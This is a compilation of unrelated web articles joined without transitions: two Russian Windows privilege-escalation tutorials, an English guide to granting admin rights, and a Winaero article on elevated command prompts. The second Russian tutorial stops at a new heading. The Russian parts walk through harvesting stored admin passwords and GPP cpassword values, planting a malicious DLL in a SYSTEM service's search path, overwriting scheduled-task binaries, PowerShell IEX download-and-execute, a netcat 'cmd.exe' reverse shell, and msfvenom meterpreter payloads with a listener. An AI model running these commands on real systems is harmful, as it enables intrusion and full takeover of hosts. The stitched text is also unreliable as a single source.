Повышение привилегий windows cmd

Время на прочтение10 мин

Количество просмотров54K

Решил для себя и для тех, кому будет полезно, собрать все что знаю, но не помню по теме, в этой статье. Делитесь советами. Основным источником этой статьи является эта.

Я вольно перевел и добавил немного от себя, того, что насобирал и узнал из других источников.

В общем, тут представлены способы, которые помогут нам достигнуть цели повышения привилегий.

Отправной точкой для этой небольшой статьи является непривилегированная оболочка (учетная запись). Возможно, мы использовали эксплойт или провели атаку и получили эту оболочку.

В принципе, в начальный момент времени мы не понимаем машину: что она делает, к чему она подключена, какой уровень привилегий у нас есть или даже какая это операционная система.

Сначала нам нужно получить нужную нам информацию, чтобы понять, где мы вообще находимся и что имеем:

systeminfo | findstr /B /C:"Название ОС" /C:"Версия ОС"

Эта команда позволяет определить, как из нее видно, Название и версию ОС. Можно выполнить ее и без параметров, тогда вывод команды будет более полным, но нам достаточно и этого.

Далее важно узнать имя машины и имя пользователя, под которым мы подключились.

  • hostname — имя пользователя.
  • echo %username% — имя пользователя.

Далее посмотрим, какие пользователи есть еще на данном хосте и получим более подробную информацию о своем пользователе.

  • net users — другие пользователи
  • net user user1 — детальная информация по пользователю, где user1 — имя вашего пользователя.

Получив информацию об учетке, посмотрим информацию о сетевом взаимодействии данного хоста.

Сначала глянем на имеющиеся интерфейсы и таблицу маршрутизации.

  • ipconfig /all — информация об имеющихся интерфейсах.
  • route print — таблица маршрутизации
  • arp -A — таблица arp записей

Далее посмотрим активные сетевые подключения и правила брандмауэра.

  • netstat -ano — активные сетевые подключения.

-a — запуск с данным параметром выведет на экран все активные подключения TCP, а также порты TCP и UDP, прослушиваемые системой;
-n — параметр позволяет показать активные подключения TCP с адресами и номерами портов;
-o — так же, как и предыдущий ключ, выводит активные TCP подключения, но в статистику добавлены коды процессов, по ним уже можно точно определить, какое именно приложение использует подключение.

  • netsh firewall show state — статус брандмауэра
  • netsh firewall show config — конфигурация брандмауэра

Наконец, мы кратко рассмотрим, что работает на скомпрометированном хосте: запланированные задачи, запущенные процессы, запущенные службы и установленные драйверы.

schtasks /query /fo LIST /v

где
/query — Вывод данных о всех запланированных задачах,
/fo LIST — Вывод в список.
/v — Вывод подробных сведений о задании.

Следующая команда связывает запущенные процессы с запущенными службами.

tasklist /SVC

где,
/SVC — Отображение служб для каждого процесса.

Также посмотрим список запущенных служб Windows.

net start

Полезно также посмотреть информацию о драйверах скомпрометированной системы.

DRIVERQUERY

Далее хочется упомянуть о, наверное, самой полезной команде Windows — wmic. Команда WMIC (Windows Management Instrumentation Command) используется для получения сведений об оборудовании и системе, управления процессами и их компонентами, а также изменения настроек с использованием возможностей инструментария управления Windows (Windows Management Instrumentation или WMI). Хорошее описание.

К сожалению, некоторые конфигурации Windows по умолчанию не разрешают доступ к WMIC, если пользователь не входит в группу Администраторов (что действительно хорошая идея). Любая версия XP не позволяла доступ к WMIC с непривилегированной учетной записи.

Напротив, Windows 7 Professional и Windows 8 Enterprise по умолчанию позволяли пользователям с низкими привилегиями использовать WMIC.

По обычаю — параметры программы:

wmic /?

Хороший скрипт по сбору инфы через wmic.

Прежде чем идти дальше стоит пробежаться по собранной информации. Также стоит обратить внимание на установленные в системе патчи, так как любая информация о дырах в системе даст нам дополнительную опору для повышения своих привилегий. По номеру HotFix можно поискать уязвимости по повышению привилегий.

Далее мы рассмотрим автоматическую установку. Если существует необходимость установки и настройки большого парка машин, то как правило, технический персонал не будет перемещаться от машины к машине для настройки персонального каждой. Существует несколько решений для автоматической установки. Для нас не так важно, что это за методы и как они работают, а важно то, что они оставляют конфигурационные файлы, которые используются для процесса установки, содержащие много конфиденциальной информации, такой как ключ продукта операционной системы и пароль администратора. Что нас больше всего интересует, так это пароль администратора, который мы можем использовать для повышения наших привилегий.

Как правило, это следующие каталоги:

  • c:\sysprep.inf
  • c:\sysprep\sysprep.xml
  • %WINDIR%\Panther\Unattend\Unattended.xml
  • %WINDIR%\Panther\Unattended.xml

Но стоит проверить и всю систему.

Данные файлы содержат пароли в открытом виде или кодировке BASE64.
Примеры:

Sysprep.inf — пароль в открытом виде.

»

Sysprep.xml — пароль в кодировке base64.

»

Unattended.xml — пароль в кодировке base64.

Также для хостов, подключенных к домену можно поискать файл Group.xml, который содержит зашифрованный AES256 пароль, но который можно расшифровать, т.к. ключ выложен на msdn (https://msdn.microsoft.com/en-us/library/cc422924.aspx) и других источниках. Но это в случае, если используется политика создания локальных пользователей на хостах или, например, задании пароля локальному Администратору.

Например, у меня лежит тут:

Открыв его, ищем параметр “cpassword”.

Далее нужно расшифровать данную последовательность. Используем, например, CrypTool. Сначала раскодируем Base64.
Особенности Base64 в том, что его длина должна быть кратна 4. Поэтому считаем блоки по 4, и если в последнем блоке не хватает символов, то недостающие дописываем символами «=».
У меня вышло 2 «=».

Далее расшифруем. Применяя тот ключ, что выше.

Убираем лишние точки, разделяющие знаки и получаем пароль.

В дополнение к Group.xml вот несколько других файлов предпочтений политики, которые могут иметь дополнительный набор атрибутов «cPassword”:

  • Services\Services.xml
  • ScheduledTasks\ScheduledTasks.xml
  • Printers\Printers.xml
  • Drives\Drives.xml
  • DataSources\DataSources.xml

Однако мы все любим автоматизированные решения, поэтому мы можем добраться до финиша как можно быстрее. Здесь есть два основных варианта, в зависимости от типа оболочки/доступа, который у нас есть. Существует модуль metasploit, который может быть выполнен через установленную сессию (https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp) или Вы можете использовать Get-GPPPassword, который является частью PowerSploit.

Ладно, дальше. Будем искать странный параметр реестра „AlwaysInstallElevated“. Данный параметр разрешает непривилегированным пользователям устанавливать .msi файлы из-под NT AUTHORITY\SYSTEM.

Для того, чтобы иметь возможность использовать это, мы должны проверить, что оба раздела реестра установлены, и если это так, мы можем получить SYSTEM shell. Проверим:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

В состав Metasploit входит специальный модуль exploit/windows/local/always_install_elevated, который создает MSI-файл со встроенным в него специальным исполняемым файлом, который извлекается и выполняется установщиком с привилегиями системы. После его выполнения msi-файл прекращает установку, чтобы предотвратить регистрацию действия в системе. К тому же если запустить установку с ключом /quiet, то даже не выведется ошибка.

Ну и немного полезных команд по поиску по системе:

Команда ниже будет искать в файловой системе имена файлов, содержащие определенные ключевые слова. Вы можете указать любое количество ключевых слов.

dir /s *pass* == *cred* == *vnc* == *.config*

Поиск определенных типов файлов по ключевому слову, эта команда может генерировать много выходных данных.

findstr /si password *.xml *.ini *.txt

Аналогично две команды ниже могут быть использованы для grep реестра по ключевым словам, в данном случае „password“.

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

На данный момент у нас уже есть достаточно, чтобы получить системный шел. Но есть еще пара направленbй атаки для получения желаемого результата: мы рассмотрим службы Windows и разрешения для файлов и папок. Наша цель здесь — использовать слабые разрешения для повышения привилегий сеанса.

Мы будем проверять много прав доступа, в этом нам поможет accesschk.exe, который является инструментом от Microsoft Sysinternals Suite. Microsoft Sysinternals содержит много отличных инструментов. Пакет можно загрузить с сайта Microsoft technet (https://docs.microsoft.com/ru-ru/sysinternals/downloads/sysinternals-suite).

Мы можем проверить необходимый уровень привилегий для каждой службы с помощью accesschk.

Мы можем видеть разрешения, которые имеет каждый уровень пользователя.

Accesschk может автоматически проверять, есть ли у нас доступ на запись к службе Windows с определенным уровнем пользователя. Как правило, как пользователь с низкими привилегиями, мы хотим проверить „Пользователей“. Удостоверьтесь, что проверили, к каким группам пользователей вы принадлежите.

-c В качестве имени указана служба Windows, например ssdpsrv (укажите “*” для вывода на экран всех служб)
-d Обрабатывать только каталоги
-e Выводить только явным образом заданные уровни целостности (только для ОС Windows Vista)
-k В качестве имени указан раздел реестра, например hklm\software
-n Выводить только объекты, не имеющие правил доступа
-p В качестве имени указано имя или идентификатор процесса (PID), например cmd.exe (укажите в качестве имени “*”, чтобы вывести на экран все процессы)
-q Опустить заголовок
-r Выводить только объекты, к которым есть право доступа на чтение
-s Рекурсивная обработка
-v Выводить подробную информацию
-w Выводить только объекты, к которым есть право доступа на запись

Также есть еще одна интересная команда:

autorunsc.exe -a | findstr /n /R "File\ not\ found"

Позволяет найти запись в реестре о файле, который запускался автоматически, но сейчас уже отсутствует в системе. Запись могла остаться, если например, сервис был неправильно удален. При каждом запуске система безуспешно пытается запустить этот файл. Этой ситуацией также можно воспользоваться для расширения своих полномочий. Просто на место этого файла можно подставить наш.

Далее рассмотрим две уязвимости:

Первая: реплицируем результаты поста, написанного Parvez из GreyHatHacker; „Elevating privileges by exploiting weak folder permissions“ (http://www.greyhathacker.net/?p=738). 

Этот пример является частным случаем угона dll. Программы обычно не могут функционировать сами по себе, у них есть много ресурсов, которые им нужно подключить (в основном dll, но и собственные файлы). Если программа или служба загружает файл из каталога, к которому у нас есть доступ на запись, мы можем злоупотребить этим, чтобы запустить оболочку с привилегиями, под которыми работает программа.

Как правило, приложение Windows будет использовать предопределенные пути поиска, чтобы найти dll, и он будет проверять эти пути в определенном порядке. Dll угон обычно происходит путем размещения вредоносных dll по одному из этих путей. Эта проблема может быть устранена путем указания приложению абсолютных путей к необходимой dll.

Порядок поиска dll:

  1. Директория с которой запущено приложение
  2. 32-bit System directory (C:\Windows\System32)
  3. 16-bit System directory (C:\Windows\System)
  4. Windows directory (C:\Windows)
  5. Действующая рабочая директория (CWD)
  6. Directories in the PATH environment variable (system then user)

Иногда приложения пытаются загрузить dll файлы, отсутствующие на машине. Это может произойти по нескольким причинам, например, если библиотека dll требуется только для определенных подключаемых модулей или компонентов, которые не установлены. В этом случае Parvez обнаружил, что некоторые службы Windows пытаются загрузить библиотеки dll, которые не существуют в установках по умолчанию.

Так как dll не существует, мы в конечном итоге прохождения всех путей поиска. Как пользователь с низким уровнем привилегий у нас немного шансов положить вредоносный dll в п. 1-4, 5. Но если у нас есть доступ на запись в любой из каталогов, то наши шансы на победу велики.

Давайте посмотрим, как это работает на практике, для нашего примера мы будем использовать IKEEXT (модули ключей IPSec IKE и AuthIP) сервис, который пытается загрузить wlbsctrl.dll.

Любой каталог в „C:\“ даст доступ на запись для аутентифицированных пользователей, это дает нам шанс.

C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27"

C:\Python27
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Administrators
        FILE_ALL_ACCESS
  RW NT AUTHORITY\SYSTEM
        FILE_ALL_ACCESS
  R  BUILTIN\Users
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        SYNCHRONIZE
        READ_CONTROL
  RW NT AUTHORITY\Authenticated Users
        FILE_ADD_FILE
        FILE_ADD_SUBDIRECTORY
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_EA
        DELETE
        SYNCHRONIZE
        READ_CONTROL

C:\Users\user1\Desktop> icacls "C:\Python27"

C:\Python27 BUILTIN\Administrators:(ID)F
            BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
            NT AUTHORITY\SYSTEM:(ID)F
            NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
            BUILTIN\Users:(OI)(CI)(ID)R
            NT AUTHORITY\Authenticated Users:(ID)C
            NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

F — полный доступ.
(OI) — наследование объектами.
(CI) — наследование контейнерами.
(IO) — только наследование.
(NP) — запрет на распространение наследования.
(I)- наследование разрешений от родительского контейнера.

Прежде чем перейти к действию, необходимо проверить состояние службы IKEEXT. В этом случае мы можем увидеть, что он установлен на „AUTO_START“!

sc qc IKEEXT

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IKEEXT
        TYPE			: 20  WIN32_SHARE_PROCESS
        START_TYPE		: 2   AUTO_START
        ERROR_CONTROL		: 1   NORMAL
        BINARY_PATH_NAME		: C:\Windows\system32\svchost.exe -k netsvcs
        LOAD_ORDER_GROUP		:
        TAG			: 0
        DISPLAY_NAME		: IKE and AuthIP IPsec Keying Modules
        DEPENDENCIES		: BFE
        SERVICE_START_NAME	: LocalSystem

Теперь мы знаем, что у нас есть необходимые условия, и мы можем создать вредоносную dll и перехвата оболочки!

Используем Metasploit -> msfvenom, это например.

После передачи evil.dll на наш целевой компьютер все, что нам нужно сделать, это переименовать его в wlbsctrl.dll и переместить в „C:\Python27“. Как только это будет сделано, нам нужно терпеливо ждать перезагрузки машины (или мы можем попытаться принудительно перезагрузить), и мы получим системную оболочку.

copy evil.dll C:\Python27\wlbsctrl.dll

После этого осталось только дождаться перезагрузки системы. 

Для нашего последнего примера мы рассмотрим запланированные задачи. Опишу принцип, т.к. у всех могут быть разные случаи.

Находим процесс, службу, приложение запускаемое планировщиком задач от SYSTEM.
Проверяем права доступа на папку, где находится наша цель.

accesschk.exe -dqv "путь_к_цели"

Ясно, что это серьезная проблема конфигурации, но еще хуже тот факт, что любой прошедший проверку Пользователь (аутентифицированный пользователь) имеет доступ на запись в эту папку. В этом примере мы можем просто перезаписать двоичный исполняемый файл файлом, сгенерированным в metasploit.

Можно закодировать дополнительно.

Теперь остается только загрузить вредоносный исполняемый файл и перезаписать его в папку выполняемого файла. Как только это будет сделано, мы можем спокойно идти спать и рано с утра получить системный шел.

Эти два примера должны дать нам представление об уязвимостях, которые необходимо искать при рассмотрении разрешений для файлов и папок. Потребуется время, чтобы изучить все пути binpath для служб windows, запланированные задачи и задачи автозапуска.

Напоследок пара советов по использованию accesschk.exe.

Найти все слабые разрешения для папок на диске.

accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\

Найти все слабые разрешения для файлов на диске.

accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*

Вроде всё.

In Windows 11 or Windows 10, administrative permissions or rights are required to perform certain actions that make changes to the system or data, such as installing or uninstalling an app or program, renaming, moving, or deleting a file or folder.

A user account in Windows can be either an administrator, a guest, or a standard user account without admin rights. If you have access to an administrator account, you can grant admin rights to another user account. This short tutorial will show you 2 methods (via Settings and CMD) on how to give full administrator permission and rights to a user in Windows 10/11.

Also see: How to Change Administrator Email on Windows 11

How to give admin rights to user in Windows 11/10 via Settings

The bottom line is you need to have access to an administrator account on the Windows PC in order to give admin rights to another user account. Only the administrator account can grant admin rights and privileges to other users.

To give admin rights to a user in Windows 10/11, follow the steps below.

  1. In the Start menu, search for and open “Settings“.
  2. In Settings window, click on Accounts.
    Windows 10 Settings Account Administrator Permission

    Give admin rights to user in Windows 11

  3. On the left pane, click on Family & other users.
  4. Under “Other users“, select the account you want to give admin rights to.
  5. Then, click on Change account type.
    Change user account type to administrator in Windows 10

  6. In the pop up window, click on the Account type down-down menu, then select Administrator.
    How to give administrator permission in Windows 10/11

  7. Click OK to confirm the changes.

After changing the account type to administrator, you should then be able to see an “Administrator – Local account” label under the selected user account.

Give admin rights Windows 11/10

In addition, a Windows 11/10 system can have multiple administrator accounts. Thus, you can give admin rights to as many other user accounts as you like.

If you have not created the user account yet, you can directly create a new local admin account instead. Read: How to Create Local Admin Account Without Password on Windows 11/10.

How to give administrator permission in Windows 10/11 via CMD

If you prefer to give admin rights to a user via the command prompt instead of the GUI, here’s how to do it.

Firstly, open an elevated command prompt: Search for “cmd” on the Windows 10/11 search bar. Right-click Command Prompt from the search result, and then select “Run as administrator“.

In the command prompt window, enter the following command to list all existing user accounts on your Windows 10/11 PC. This step is optional but useful if you do not know or are not sure about the exact name of the user account you want to give administrative rights to. You can copy the name of the user account to be used in the next step.

net user

Give full administrator permission Windows 11/10

To give admin rights to a user account, use the following command. Note: Replace “UserAccount” with the actual name of the user account that you want to give admin rights to.

The following command will add the specified user account to the administrator group, thus granting full administrator rights to the user account.

Net Localgroup Administrators UserAccount /add

For example:

Net Localgroup Administrators alvintest2 /add

How to give admin rights to user in Windows 11/10 using CMD

To remove an existing administrator account from the administrator group, in other words, changing it back to a standard user account, use the following command. Replace “UserAccount” with the actual user account name that you want to delete from the admin group.

Net Localgroup Administrators UserAccount /Delete

Remove administrator account from Windows 10/11

For example:

Net Localgroup Administrators alvintest2 /Delete

How to check if you have admin rights

If you’re not sure whether you have admin rights on your Windows 11/10 PC, you can check your account type by following these steps:

  1. Click the Start button and select Settings.
  2. Click on Accounts.
  3. On the left pane, click on Your info.
  4. Under “Your account type”, you should see whether you have an Administrator or Standard account.

If you have an Administrator account, you have admin rights on your PC. If you have a Standard account, you do not have admin rights and will need to be granted them by an Administrator.

How to remove admin rights from a user

If you’ve granted admin rights to a user and want to revoke them, you can do so by following the same steps as above and changing the account type back to Standard. Alternatively, you can use the CMD method described earlier to remove the user from the Administrators group.

In my articles, you often see instructions to open the command prompt as admin. In Windows 10 also, you will need to use it from time to time, so I would like to share with you the various ways to open an elevated command prompt. Let’s explore them right now.

Before you start reading, I strongly recommend you to see my previous article, «Do you know all these ways to open an elevated command prompt in Windows?». It covers all the possible ways to open an elevated command prompt in previous versions of Windows. Many of the tricks from that article still work in Windows 10.

This way is very handy in Windows 10. Starting with Windows 8, Microsoft has implemented the Power Users menu, which contains many useful items like Control Panel, Network Connections and so on. Windows 10 also comes with such a menu. It contains the Command Prompt (Admin) item which is exactly what we need.

To access this menu in Windows 10, press Win + X shortcut keys together on the keyboard.

Tip: You can customize the Win+X menu with our freeware tool called Win+X Menu Editor. Check it out.

Update: This option has been removed in Windows 10 Creators Update. See the following article to learn about this change in detail: Windows 10 build 14986 replaces Command Prompt with PowerShell everywhere. To restore the command prompt in the Win +  X menu, see this tutorial: Add Command Prompt back to Win+X Menu in Windows 10 Creators Update.

In Windows 10, you can use the search box inside the Start menu. Type cmd there and press CTRL + SHIFT + ENTER to launch the command prompt elevated. This also works on the Start screen.

Launch an elevated command prompt instance from a non-elevated one

You can launch an elevated instance of the command prompt from a non-elevated one. You might wonder why you would need to do this. Let me show you with an example scenario.
Whenever you press the SHIFT key and hold it and then right click on a folder in Explorer, you get the usual «Open command window here» menu item.

Open Command Window Here

This is very handy, you just opened a command window at the path you wanted. Now what if you need an elevated command prompt at that path? Command Prompt does not provide any way to open an elevated command window at the same path.

Update: The context menu option has been removed in Windows 10 Creators Update. You can restore it as follows:

Add Command Prompt to Context Menu in Windows 10 Creators Update

To resolve this issue and improve usability, you can use a little application I coded called ELE. It is able to reopen an already opened command prompt as administrator and keeps the current path.

Usage of ELE:
Simply typing ele — opens a new console window as administrator in the current directory.
ele /x — opens a new console window in the current directory and closes the original console window. If ELE is started from a file manager, it just opens a new elevated console at the current path.

ele

Copy-paste ele.exe in any folder which is included in your system %PATH% environment variable, e.g. C:\Windows or C:\Windows\system32. That will make it accessible from any folder and you won’t need to type the full path to ele.exe every time you want to elevate the command prompt.

That’s it!

Support us

Winaero greatly relies on your support. You can help the site keep bringing you interesting and useful content and software by using these options:

If you like this article, please share it using the buttons below. It won’t take a lot from you, but it will help us grow. Thanks for your support!

Введение
Привет! Повышение привилегий в Windows — это процесс получения административных прав доступа на компьютере под управлением Windows для выполнения определённых задач, таких как изменение системных настроек, установка и удаление программ, доступ к защищённым файлам и папкам и т.д. Вообще ОС Windows используется только либо сотрудниками какой-либо компании, либо обычными людьми в качестве домашней ОС. Конечно, нам интересны ОС наших сотрудников. Ещё существует также и Windows Server и на нём тоже может быть что-то интересное. Даже если нет, то важно понимать как получить больше привелегий в ОС Windows, чтобы мы были убеждены в безопасности системы наших сотрудников.


Разведка
Разведка — это один из основных этапов в процессе взлома любой системы или сети. Разведка — это сбор информации о целевой системе или сети, такой как IP-адреса, имена компьютеров, открытые порты, операционные системы, приложения и т.д. Эта информация необходима для того, чтобы определить, какие уязвимости существуют в системе или сети и как могут воспользоваться ими злоумышленники. Прежде чем начать эксплуатировать уязвимости ОС Windows, нужно узнать больше информации об атакуемой машине. Поэтому разберём команды которые помогут нам лучше изучить атакуемую машину.


Системная информация
Как я уже говорил, дабы успешно эксплуатировать ОС Windows для повышения привелегий, нужно рабираться в деталях ОС. Команда systeminfo предоставит вам много информации.

Команда:systeminfo

1.webp

Информации очень много. Дабы упростить задачу, мы воспользуемся командой findstr:

Команда:systeminfo | findstr /B /C:"{PARAM}"

1740025443373.webp

Архитектура Windows
Для получения информации об архитектуре Windows воспользуемся утилитой WMIC. Вы будете често с ней работать, если хотите использовать командную строку Windows. Эта утилита представляет собой интерфейс командной строки для Windows Management Instrumentation.

Команда:wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

1740025707965.webp

Список дисковых накопителей
Чтобы вывести список всех накопителей в ОС, нужно воспользоваться утилитой wmic ещё раз.

Команда: wmic logicaldisk get caption || fstuil fsinfo drives

1740025976597.webp

Установленные исправления
Вывести список установленных системных исправлений в Windows можно через команду systeminfo, но также эту задачу можно выполнить с помощью wmic:

Команда: wmic qfe get Caption, Description, HotFixID, InstalledOn

2.webp

Кто я?
Когда мы получим доступ к командной строке в операционной системе, часть важной информации, которую вы захотите знать, это то какие привелегии у вас есть. Команда whoami с параметром /priv покажет.

Команда: whoami /priv

1740028701336.webp

Список пользователей и групп
Вариантов для перечисления локальных пользователей в ОС Windows много. Но у вас наверное возник вопрос, а зачем нам это, точнее как это поможет в повышении привелегий? Отвечаю, в одной ОС может быть несколько пользователей, и права у них тоже разные, как правило есть пользователь «Сотрудник», а есть «Системный администратор» или просто «Администратор» (Такая практика мне кажется очень хорошей, но к своему стыду скажу что когда я работал в одной компании не стал так делать, к счатью атаки небыло, да и красть оттуда было нечего, наверное поэтому я отнёсся к этом так не серьёзно). В общем команда для просмотра:

Команда: net user

3.webp

Также можно выбрать пользователя и получить о нём информацию:

Команда: net user {USER}

1740029388947.webp

Чтобы вывести список локальных групп, используем команду net localgroup

Команда: net localgroup

4.webp

Чтобы получить информациб о конктретной группе, используем:

Команда: net localgroup {GROUP}

1740029739610.webp

Если хост подключён к контроллеру домена, то вы можете перечислить группы домена, как показано ниже:

Команда: net group /domain

Чтобы просмотреть подробную информацию об определённой группе домена, выполняем такую команду.

Команда: net group /domain {GROUP}

Сетевая информация
Дабы вывести список всех сетевых интерфейсов и связанных с ними IP-адресов, исполняем нашу любимую команду ipconfig.

Команда: ipconfig /all

5.webp

Чтобы вывести таблицу маршрутизации локального хоста, мы будем использовать route print. Эта таблица покажет нам все сетевые маршруты к другим хостам в той же сети:

Команда: route print

6.webp

Чтобы вывести список всех текущих подключений, установленных с хоста Windows, выполняем это.

Команда: netstat -ano

7.webp

Чтобы посмотреть конфигурацию брандмауэра, пишем netsh.

Команда: netsh firewall show state
Команда: netsh firewall show config

1740030847689.webp

(Надись «netsh firewall» ist jedoch veraltet говорит о том что такая команда устарела, тем не менее она всё ещё работает)
Чтобы вывести список общих сетевых ресурсов на хосте Windows, вам нужно будет использовать команду net share. Доступ к общей папке иногда раскрывает секретные данные на хосте.

Команда: net share

1740031216447.webp

Отображение слабых разрешений
Проверить права доступа к директории или файлу можно с помощью icacls. Важно подметить, что на более старых версиях ОС, необходима команда cacls.

Команда: icacls Shared

8.webp

Справочка:

  1. (F) — полный доступ
  2. (M) — доступ на изменение
  3. (W) — доступ только для записи

Дабы найти все слабые разрешения на диске, можно использовать служебную программу Sysinternals Accesschk.exe. Скачать можно

Ссылка скрыта от гостей

.

Список установленных программ
Чтобы вывести список всех установленных программ, можно использовать PowerShell, дабы показать содержимое директорий Program Files и Program Files (x86).

Команда: Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime

1740032232203.webp

Список задач и процессов
Чтобы вывести список всех задач и процессов в Windows, требуется использовать команду tasklist /v. Вывод этой команды большой, но его можно отфильтровать и отобразить только системные процессы.

Команда: tasklist /v /fi "username eq {NAME}"

1740032597219.webp

Чтобы вывести список запланированных задач на узле, можно использовать команду ниже в PowerShell. В ней мы применяем фильтр для исключения задач, связанных с microsoft.

Команда: Get-ScheduleTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

1740032950345.webp


Передача файлов
Передача файлов между операционными системами Windows и Linux может быть несложным делом, если знать, как это делать. Мы рассмотрим несколько способов передачи файлов между этими двумя ОС — с помощью общих папок, FTP сервера или протокола SCP (Secure Copy). Рассмотрим сильные и слабые стороны каждого метода и выберем лучший вариант для ваших нужд. Для ОС Windows и Linux нам нужно будет передавать файлы на целевой хост, особенно когда нужно иметь дело с эксплойтами ядра.

На Windows
Если целевым хостом является Windows, то для передачи файлов вы можете использовать параметры, которые я сейчас опишу ниже.

  • Использовать общую сетевую директорию Samba и попробовать получить к ней доступ из командной строки с ограниченным доступом. copy \\IP-SMB \NAME_DIR_OF_SMB \FILE_FOR_TRANSFER.
  • Использовать FTP-клиент для скачивания файлов. ftp open {IP-FTP}
    вводим учётные днные и get {file_name}
  • Скачать и запустить файл с помощью PowerShell. Дабы это исполнить нужно иметь веб-сервер на котором будет эксплойт, а потом выполнить такую команду. powershell "IEX (New-Object Net.WebClient).downloaadString('http://IP/FILE')"
  • Второй способ — создать сценарий на хосте Windows и затем выполнить его.

    Код:

    echo $storageDir = $pwd > wget.ps1
    echo $webclient = New-Object System.Net.WebClient >> wget.ps1
    echo $url = "http://IP/FILE" >> wget.ps1
    echo $file = "FILE_NAME" >> wget.ps1
    echo $webclient.DownloadFile($url,$file) >> wget.ps1

    Теперь чтобы это запустить пишем такую команду -> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

На Linюx
Давайте рассмотрим случай, когда нужно найти способ передать файлы на ОС Linux.

  • Скачиваем файлы с удалённого веб-сервера
    wget

    Ссылка скрыта от гостей

  • Если на удалённом сервере работает SSH, можно скачать файл экслойта используя безопасное копирование
  • scp user@127.0.0.1:/exploit.bin /tmp/
  • Если на хосте установлен netcat, то с его помощью можно также передвать файлы.
    На узле с Kali запускает прослушку
    nc -lvp 1488
    А на уязвимом хосте пишем
    nc IP 1488 > exploit.bin

Эксплуатация системы Windows
В ОС Windows мы можем выйти за рамки учётной записи администратора и получить вместо неё учётную запись SYSTEM. В таком случае, у нас будет полный доступ к целевому хосту Windows. Учётная запись SYSTEM не может использоваться для авторизации в ОС. Нам нужно знать пару фактов об аутентификации/авторизации в ОС Windows.

  • Учётные записи пользователей используются в OC Windows, чтобы позволить людям войти в систему.
  • Учёьные записи сервисов используются сервисами операционной системы и обычно имеют права с высокими привилегиями.
  • Группы служат для группирования учётных записей пользователей. Хороший пример, группа «Администраторы» в которой хранятся все учётные записи пользователей с права администратора.
  • Ресурсы — это физические элементы, к которым каждой группе или пользователям нужен доступ (Файлы, Директории, Сервисы).
  • Разрешения или списки управления доступом — это правила, определяющие, кто к чему имеет доступ.

Эксплойты ядра Windows
Эксплойты ядра Windows — это ошибки или недоработки в безопасности операционной системы, которые могут быть использованы злоумышленниками для выполнения вредоносных действий. Как я уже говорил, ядро — это сердце системы. Как только вы проэксплуатируете ядро, вы полностью овладеете ОС. Чтобы такое выполнить, стоит пошагово выполнить эти действия:

  1. Определить версию ОС
  2. Найти подходящий эксплойт
  3. Поместить эксплойт в каталог, в котором у вас есть права на запись.
  4. Запустить и сиять с правами системы

Получение версии ОС
Допустим мы подключены к удалённому хосту под управлением Windows 7 с ограниченой командной оболочкой. Запускаем systeminfo, чтобы узнать версию ОС.
Поиск подходящего эксплойта
Что получить точный результат, можно использовать инструмент под названием wesng(Windows Exploit Suggester) на вашей Kali для отображения любых подходящих вариантов для этой ОС.
Сначала давайте выполним команду systeminfo с полным выводом. Затем копируем вывод в файл и используем такую команду чтобы проверить наличие эксплойта.

Python:

python wes.py --update
python wes.py sysinfo.txt -i 'Elevation of Privilege' --exploitsonly

Ссылка на инструмент: GitHub — bitsadmin/wesng: Windows Exploit Suggester — Next Generation

Количество эксплойтов может поражать, и попытка понять PoC на exploit-db весьма трудная задача. Самый простой способ — использовать один из репозиториев PoC на GitHub: GitHub — SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合

Выполнение полезной нагрузки и получение командной оболочки
Всё что нам нужно, это скачать x64.exe c GitHub и передать его на Windows, используя ограниченную оболочку. Воспользуемся netcat, чтобы создать новую командную оболочку от пользователя root.
На Kali прослушиваем входящие соединения на порту 1488:
nc -nlvp 1488
В оболочке Windows подключитесь к порту прослушивания с помощью файла повышения привелегий (x64.exe).
x64.exe "nc.exe -nv IP 1488 -e cmd.exe"
Вернувшись в окно терминала Kali, у вас должен быть доступ к командной строке с повышенными привелегиями.


Metasploit PrivEsc
Metasploit обладает расширенным функционалом, которые позволяют легко выполнять подобную работу. Возможно, кто-то кринжует его использовать, ссылаясь на то, что он для скрипт-кидди, так или иначе он очень полезен и порой выручает. Ниже описана инструкция, как что делать:

  1. Сначала получите доступ к командной оболочке Meterpreter.
  2. Попробуйте выполнить команду getsystem(это работает с устаревшими ОС windows x86)
  3. Потом запустите модуль local exploit suggester(локальный модуль для помощи в выборе эксплойтов), который выведет список потенциальных кондидатов.
  4. Попробуйте каждый из них и смотрите, какой из них сработает.

Начнём с первого шага, генерируем оболочку meterpreter с помощью MSFvenom:
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST={IP} LPORT={PORT} -f exe > m_shell.exe
Затем начнём прослушивать порт на Kali с помощью модуля handler в Metasploit:
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST {IP}
set LPORT {PORT}
set ExitOnSession false
На данном этапе передайте файл m_shell.exe на хост Windows и запустите его от имени ограниченного пользователя. Вернитесь к слушателю и вы увидете что установлено успешное подключение.


Эксплуатация приложений Windows
